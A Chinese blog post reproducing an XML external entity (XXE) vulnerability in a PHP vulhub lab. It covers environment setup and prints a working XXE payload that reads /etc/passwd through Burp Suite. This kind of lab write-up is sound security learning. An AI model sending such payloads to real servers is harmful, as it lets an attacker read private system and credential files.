PHP XML外部实体注入漏洞(XXE)复现


PHP XML外部实体注入漏洞复现

环境介绍

PHP 7.0.30

libxml 2.8.0

==libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。==

靶场搭建

cd /vulhub/php/php_xxe
docker-compose up -d

测试

先打开网页看看

image-20220505153517058

访问http://192.168.3.151:8080/index.php能看到phpinfo

在里面可以看到libxml版本

image-20220505153702980

Web目录为www,里面有4个文件

tree .
dom.php #使用DOMDocument解析body
index.php
SimpleXMLElement.php #使用SimpleXMLElement类解析body
Simplexml_load_string.php #使用simplexml_load_string函数解析body

构造payload

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<root>
<name>&xxe;</name>
</root>

打开burpsuite抓取数据包

然后把这玩意扔进去

image-20220505154735442

获得/etc/passwd里面的内容

image-20220505154753664


文章作者: Broken-year
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Broken-year !
  目录